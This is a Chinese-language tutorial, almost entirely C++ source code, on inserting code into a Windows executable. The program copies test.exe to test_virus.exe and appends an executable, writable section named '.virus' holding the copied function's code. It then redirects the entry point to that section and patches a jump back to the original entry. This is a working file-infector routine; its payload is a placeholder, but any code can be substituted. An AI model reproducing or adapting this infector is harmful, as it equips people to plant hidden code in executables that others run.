我们进行信息安全编程的时候,经常需要向exe文件插入自己的源代码,
我们如何在代码中实现呢。请见代码与注释讲解
#include <iostream.h> #include <windows.h> #include <stdio.h> ////////////////////////////////////////////////////////////////////////// //******************************************************************* //*******以下为程序代码******* //******************************************************************* ////////////////////////////////////////////////////////////////////////// void VirusCode() { _asm { mov eax , 5 } return; } ////////////////////////////////////////////////////////////////////////// //******************************************************************* //*******主函数******* //******************************************************************* ////////////////////////////////////////////////////////////////////////// void main() { //******************************************************************* //*******首先得到程序代码起始地址,结束地址,代码长度******* //******************************************************************* ///////////////////////////////////////////////////////////////// // *******变量说明******* // **dwFunBegAddr :程序函数的开始地址 // **dwFunEndAddr :程序函数的结束地址 // **dwFunCodeLen :程序代码长度 // **dwJmpOff :程序函数jmp区到真正入口的偏移 // **pMove :临时的指针变量 ///////////////////////////////////////////////////////////////// DWORD dwFunBegAddr , dwJmpOff , dwFunEndAddr , dwFunCodeLen; PBYTE pMove = NULL; // *******首先指向程序函数的jmp指令******* pMove = (PBYTE)VirusCode; cout << "函数的jmp地址为:" << (PVOID)pMove << endl; // *******定位到jmp后面的偏移处******* pMove ++; // *******把偏移赋值给变量******* dwJmpOff = *((PDWORD)pMove); // *******jmp下一条指令的地址(code + 5)+偏移得到函数真正的入口地址******* dwFunBegAddr = (DWORD)VirusCode + 5 + dwJmpOff; cout << "函数jmp的跳转偏移为:" <<(PVOID)dwJmpOff << endl; cout << "开始地址为:" << (PVOID)dwFunBegAddr << endl; // *******以下通过搜索得到函数的结束地址******* // *******首先把函数的入口地址赋给变量******* pMove = (PBYTE)dwFunBegAddr; // *******向后搜索,直到结尾******* while (!((*(pMove + 1) == 0xc3) && (*pMove == 0x5D) && (*(pMove - 1) == 0xE5))) { pMove ++; } // *******此时pMove指向ret前一条指令******* // *******pMove向后移5个字节,为程序代码的jmp指令占位******* pMove +=5; dwFunEndAddr = (DWORD)pMove; cout << "代码结束地址为:" << (PVOID)dwFunEndAddr << endl; // *******结束地址减去起始地址,得到代码长度******* dwFunCodeLen = dwFunEndAddr - dwFunBegAddr; cout << "总代码长度为:" << (int)dwFunCodeLen << endl; //******************************************************************* //*******以下为在exe文件中添加程序代码******* //******************************************************************* HANDLE hFile , hMapFile; LPVOID pMapOfFile = NULL; //******************************************************************* //*******检测文件合法性******* //******************************************************************* // *******打开文件******* hFile = CreateFile("test.exe" , GENERIC_READ , FILE_SHARE_READ | FILE_SHARE_WRITE , NULL , OPEN_EXISTING , FILE_ATTRIBUTE_ARCHIVE , NULL); if (INVALID_HANDLE_VALUE == hFile) { cout << "CreateFile Error!" << endl; return; } // *******创建文件映射******* hMapFile = CreateFileMapping(hFile , NULL , PAGE_READONLY , 0 , 0 , NULL); if (!hMapFile) { cout << "CreateFileMapping Error!" << endl; goto CLOSEFILEHANDLE; } // *******把文件映射到内存中******* pMapOfFile = MapViewOfFile(hMapFile , FILE_MAP_READ , 0 , 0 , 0); if (!pMapOfFile) { cout << "MapViewOfFile Error!" << endl; goto CLOSEMAPHANDLE; } IMAGE_DOS_HEADER *pDosHeader; // ********检测DOS文件头******* pDosHeader = ( IMAGE_DOS_HEADER* )pMapOfFile; if(pDosHeader->e_magic != IMAGE_DOS_SIGNATURE) { cout << "Check Dos Header Error!" << endl; goto FreeViewOfMap; } IMAGE_NT_HEADERS *pNtHeader; // *******检测NT文件头******* pNtHeader = (IMAGE_NT_HEADERS*)((PBYTE)pDosHeader + pDosHeader->e_lfanew); if (pNtHeader->Signature != IMAGE_NT_SIGNATURE) { cout << "Check NT Header Error!" << endl; goto FreeViewOfMap; } //*************************************************************** //*******准备工作******* //*************************************************************** BOOL bCopy; // *******首先把要添加程序代码的文件复制一份******* bCopy = CopyFile("test.exe" , "test_virus.exe" , FALSE); if (!bCopy) { cout << "CopyFile Error!" << endl; } HANDLE hNewFile; // *******打开刚刚复制的文件******* hNewFile = CreateFile("test_virus.exe" , GENERIC_READ | GENERIC_WRITE,FILE_SHARE_READ | FILE_SHARE_WRITE , NULL , OPEN_EXISTING , FILE_ATTRIBUTE_ARCHIVE , NULL); if (!hNewFile) { cout << "CreateFile Error!" << endl; goto FreeViewOfMap; } HGLOBAL pNewFileHeader; // *******为新文件的文件头申请一块内存,用于修改文件头信息******* pNewFileHeader = GlobalAlloc(GPTR , pNtHeader->OptionalHeader.SizeOfHeaders); if (!pNewFileHeader) { cout << "GlobalAlloc Error!" << endl; goto CloseNewFileHandle; } // *******用原文件头填充这块内存******* RtlMoveMemory((PVOID)pNewFileHeader , (PVOID)pMapOfFile , pNtHeader->OptionalHeader.SizeOfHeaders); IMAGE_NT_HEADERS *pNewFileNtHeader; pNewFileNtHeader = (IMAGE_NT_HEADERS*)((PBYTE)pNewFileHeader + pDosHeader->e_lfanew); ////////////////////////////////////////////////////////////////////////// //*******此时的指针信息******* //*******pMapOfFile : 原映射文件的开始 //*******pDosHeader : 原映射文件的DOS头也就是文件开始,只不过类型不一样 //*******pNTHeader : 原映射文件的NT头 //*******pNewFileHeader : 新文件的开始 //*******pNewFileNtHeader : 新文件的NT头 ////////////////////////////////////////////////////////////////////////// //**************************************************************** //*******修改新文件的节表信息******* //**************************************************************** int nSecNum; nSecNum = pNtHeader->FileHeader.NumberOfSections; IMAGE_SECTION_HEADER *pLastSec , *pNewSec; // *******定位到原文件中的最后一个节表******* pLastSec = (IMAGE_SECTION_HEADER*)((PBYTE)pNewFileNtHeader + sizeof(IMAGE_NT_HEADERS) + (nSecNum-1) * sizeof(IMAGE_SECTION_HEADER)); // *******pNewSec为最后一个节表的结尾处,也就是新加节表的开头******* pNewSec = pLastSec + 1; //*******修改新增节表的相关信息******* //*****节表总数加1***** pNewFileNtHeader->FileHeader.NumberOfSections ++; //*****修改新节的文件偏移***** pNewSec->PointerToRawData = pLastSec->PointerToRawData + pLastSec->SizeOfRawData; //*****修改新节的文件尺寸***** int nAlignNum; nAlignNum = dwFunCodeLen / pNewFileNtHeader->OptionalHeader.FileAlignment; if (dwFunCodeLen % pNewFileNtHeader->OptionalHeader.FileAlignment != 0) { nAlignNum++; } pNewSec->SizeOfRawData = nAlignNum * pNewFileNtHeader->OptionalHeader.FileAlignment; //*****修改所有代码长度按内存页对齐后的大小***** nAlignNum = dwFunCodeLen / pNewFileNtHeader->OptionalHeader.SectionAlignment; if (dwFunCodeLen % pNewFileNtHeader->OptionalHeader.SectionAlignment != 0) { nAlignNum ++; } pNewFileNtHeader->OptionalHeader.SizeOfCode += nAlignNum * pNewFileNtHeader->OptionalHeader.SectionAlignment; //*****修改文件内存映像尺寸***** pNewFileNtHeader->OptionalHeader.SizeOfImage += nAlignNum * pNewFileNtHeader->OptionalHeader.SectionAlignment; //*****修改新节的内存偏移量***** //*****用原最后节的内存偏移加上原最后节对齐后的内存尺寸的大小***** nAlignNum = pLastSec->Misc.VirtualSize / pNewFileNtHeader->OptionalHeader.SectionAlignment; if (pLastSec->Misc.VirtualSize % pNewFileNtHeader->OptionalHeader.SectionAlignment != 0) { nAlignNum ++; } pNewSec->VirtualAddress = nAlignNum * pNewFileNtHeader->OptionalHeader.SectionAlignment + pLastSec->VirtualAddress; //*****修改新节的内存尺寸***** pNewSec->Misc.VirtualSize = dwFunCodeLen; //*****更新新节属性***** pNewSec->Characteristics = IMAGE_SCN_CNT_CODE | IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE; //*****更新节名***** strcpy((char*)pNewSec->Name , ".virus"); //*****更新入口地址***** pNewFileNtHeader->OptionalHeader.AddressOfEntryPoint = pNewSec->VirtualAddress; BOOL bWrite; DWORD dwHeaderSize , dwWriten; dwHeaderSize = (DWORD)(pNewFileNtHeader->OptionalHeader.SizeOfHeaders); bWrite = WriteFile(hNewFile , (LPVOID)pNewFileHeader , dwHeaderSize , &dwWriten , NULL); //*****向文件中添加程序代码***** DWORD dwSetFileP; //*****定位到新文件中新节开始处***** dwSetFileP = SetFilePointer(hNewFile , pNewSec->PointerToRawData , NULL , FILE_BEGIN); if (!dwSetFileP) { cout << "SetFilePointer Error!" << endl; goto CloseNewFileHandle; } //*****写入程序代码***** bWrite = WriteFile(hNewFile , (LPVOID)dwFunBegAddr , dwFunCodeLen , &dwWriten , NULL); if (!bWrite) { cout << "Write Virus Code Error!" << endl; goto CloseNewFileHandle; } //*****定位到文件尾部***** dwSetFileP = SetFilePointer(hNewFile , pNewSec->PointerToRawData + pNewSec->SizeOfRawData , NULL , FILE_BEGIN); if (!dwSetFileP) { cout << "SetFilePointer End Error!" << endl; goto CloseNewFileHandle; } //*****设定文件结束***** if (!SetEndOfFile(hNewFile)) { cout << "SetEndOfFile Error!" << endl; goto CloseNewFileHandle; } //*******修正原入口地址******* PBYTE pModifyAddr; pModifyAddr = (PBYTE)pNewSec->VirtualAddress; pModifyAddr += dwFunCodeLen; //printf("%x\n" , pModifyAddr); int nSub; //跳转的距离 nSub = (PBYTE)(pNtHeader->OptionalHeader.AddressOfEntryPoint) - pModifyAddr; DWORD dwModifyLoca; dwModifyLoca = pNewSec->PointerToRawData; dwModifyLoca = dwModifyLoca + dwFunCodeLen - 5; //dwModifyLoca ++; // *****定位到程序代码最后的五个字节处***** dwSetFileP = SetFilePointer(hNewFile , dwModifyLoca , NULL , FILE_BEGIN); if (!dwSetFileP) { cout << "Modify Address SetFilePointer Error!" << endl; goto CloseNewFileHandle; } //*****修正jmp指令***** BYTE bJmp; bJmp = 0XE9; bWrite = WriteFile(hNewFile , &bJmp , 1 , &dwWriten , NULL); if (!bWrite) { cout << "Modify Address WriteFile Error!" << endl; goto CloseNewFileHandle; } //*****修正跳转地址***** bWrite = WriteFile(hNewFile , &nSub , 4 , &dwWriten , NULL); if (!bWrite) { cout << "Modify Address WriteFile Error!" << endl; goto CloseNewFileHandle; } //**************************************************************** //*******扫尾工作******* //**************************************************************** CloseNewFileHandle: CloseHandle(hNewFile); FreeViewOfMap: UnmapViewOfFile(pMapOfFile); CLOSEMAPHANDLE: CloseHandle(hMapFile); CLOSEFILEHANDLE: CloseHandle(hFile); }